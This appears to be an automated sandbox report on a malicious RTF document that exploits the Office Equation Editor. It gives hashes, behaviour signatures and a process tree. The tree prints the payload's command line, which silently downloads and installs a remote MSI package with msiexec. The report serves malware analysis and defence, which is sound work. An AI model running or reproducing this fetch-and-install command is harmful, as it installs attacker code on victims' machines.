Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    26/05/2024, 19:42

General

  • Target

    769b6b36145edbc8439948928a552f19_JaffaCakes118.rtf

  • Size

    1.8MB

  • MD5

    769b6b36145edbc8439948928a552f19

  • SHA1

    c4a8a8ae367b3248858896ab542a9d460626efe0

  • SHA256

    6787cbc0a0efd5dd99f8ecf228c69e9f0227841612340d194e319c523d56175f

  • SHA512

    314bfac8cd533e6ed843c0099cbf69e66e4507b67d88b28d5717ae93e9f466ad8e1676632ab471ac485f57b6b4130cb6e79f77a002a342ee7cbaf06b58009372

  • SSDEEP

    6144:ggIkYQ9SauSgipAxnCmbfhrbUDO/0NfAuOLL/AoPLEyDRPkMghKM+bn+JsEY6kD0:EkYSdYCwrbYINwKPkxhKMCn+Jsh68A

Score
7/10

Malware Config

Signatures

  • Use of msiexec (install) with remote resource 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\769b6b36145edbc8439948928a552f19_JaffaCakes118.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3020
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe & /C CD C: & msiexec.exe /i https://readyteam.org/30o.msi /quiet
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i https://readyteam.org/30o.msi /quiet
          3⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:2632
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0eb06203689bab630b27e46863c41d4b

      SHA1

      fb8832a1a525751f4505aecf2b3abbca555871c4

      SHA256

      915d47a687379fa15d73aa3d21b7843c1292c954d2925bdc946068560edb22e2

      SHA512

      aac358d8af52f0c6a6ae97ccbb96d2b30a162de0508904261d18d9f3391342994cc25141e13fb412be80567146e0e0efe41fe768abf9176b39f151155d1ff08f

    • memory/1688-0-0x000000002FF51000-0x000000002FF52000-memory.dmp

      Filesize

      4KB

    • memory/1688-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1688-2-0x0000000070F2D000-0x0000000070F38000-memory.dmp

      Filesize

      44KB

    • memory/1688-11-0x0000000070F2D000-0x0000000070F38000-memory.dmp

      Filesize

      44KB

    • memory/1688-30-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB